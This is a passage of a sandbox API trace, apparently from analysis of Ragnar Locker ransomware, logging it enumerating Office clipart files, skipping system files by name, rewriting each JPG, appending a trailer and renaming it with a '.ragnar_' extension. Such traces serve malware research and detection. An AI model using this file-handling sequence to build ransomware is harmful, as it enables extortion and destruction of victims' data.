lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.419] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.420] GetProcessHeap () returned 0x580000 [0090.420] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.420] CloseHandle (hObject=0xf4) returned 1 [0090.420] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" [0090.420] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ragnar_FD7BD9FC" [0090.420] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.420] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0090.420] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.421] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03205I.JPG" | out: lpString1="PH03205I.JPG") returned="PH03205I.JPG" [0090.421] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG") returned=".JPG" [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="autorun.inf") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="boot.ini") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="bootfont.bin") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="bootsect.bak") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="bootmgr") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="bootmgr.efi") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="desktop.ini") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="iconcache.db") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="ntldr") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="ntuser.dat") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="ntuser.ini") returned 1 [0090.421] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="thumbs.db") returned -1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.421] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg")) returned 0x20 [0090.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.422] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41795) returned 1 [0090.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa33a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.422] GetProcessHeap () returned 0x580000 [0090.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.422] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.424] VirtualAlloc (lpAddress=0x0, dwSize=0xa343, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.424] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa343, lpOverlapped=0x0) returned 1 [0090.426] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.426] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa343, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.426] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa343, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa343, lpOverlapped=0x0) returned 1 [0090.426] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa343, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.426] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa343, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.427] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.427] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.427] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.427] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.427] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.427] GetProcessHeap () returned 0x580000 [0090.427] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.427] CloseHandle (hObject=0xf4) returned 1 [0090.427] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" [0090.427] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ragnar_FD7BD9FC" [0090.427] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.428] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0090.428] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.428] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03224I.JPG" | out: lpString1="PH03224I.JPG") returned="PH03224I.JPG" [0090.428] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG") returned=".JPG" [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="autorun.inf") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="boot.ini") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="bootfont.bin") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="bootsect.bak") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="bootmgr") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="bootmgr.efi") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="desktop.ini") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="iconcache.db") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="ntldr") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="ntuser.dat") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="ntuser.ini") returned 1 [0090.428] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="thumbs.db") returned -1 [0090.428] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.428] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.428] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.428] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.429] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.429] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.429] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg")) returned 0x20 [0090.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.429] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42053) returned 1 [0090.429] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa43c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.429] GetProcessHeap () returned 0x580000 [0090.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.429] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.431] VirtualAlloc (lpAddress=0x0, dwSize=0xa445, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.431] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa445, lpOverlapped=0x0) returned 1 [0090.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.432] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa445, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.432] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa445, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa445, lpOverlapped=0x0) returned 1 [0090.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa445, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.433] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa445, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.433] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.433] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.433] GetProcessHeap () returned 0x580000 [0090.433] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.433] CloseHandle (hObject=0xf4) returned 1 [0090.434] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" [0090.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ragnar_FD7BD9FC" [0090.434] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0090.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.434] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH03379I.JPG" | out: lpString1="PH03379I.JPG") returned="PH03379I.JPG" [0090.434] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG") returned=".JPG" [0090.434] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.434] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="autorun.inf") returned 1 [0090.434] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="boot.ini") returned 1 [0090.434] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="bootfont.bin") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="bootsect.bak") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="bootmgr") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="bootmgr.efi") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="bootmgfw.efi") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="desktop.ini") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="iconcache.db") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="ntldr") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="ntuser.dat") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="ntuser.dat.log") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="ntuser.ini") returned 1 [0090.435] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="thumbs.db") returned -1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.435] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg")) returned 0x20 [0090.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.436] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11170) returned 1 [0090.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.436] GetProcessHeap () returned 0x580000 [0090.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.437] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2ba2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.439] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ba2, lpOverlapped=0x0) returned 1 [0090.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ba2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.440] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ba2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ba2, lpOverlapped=0x0) returned 1 [0090.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ba2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.440] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ba2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.440] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.440] GetProcessHeap () returned 0x580000 [0090.440] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.441] CloseHandle (hObject=0xf4) returned 1 [0090.441] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" [0090.441] lstrcatW (in: 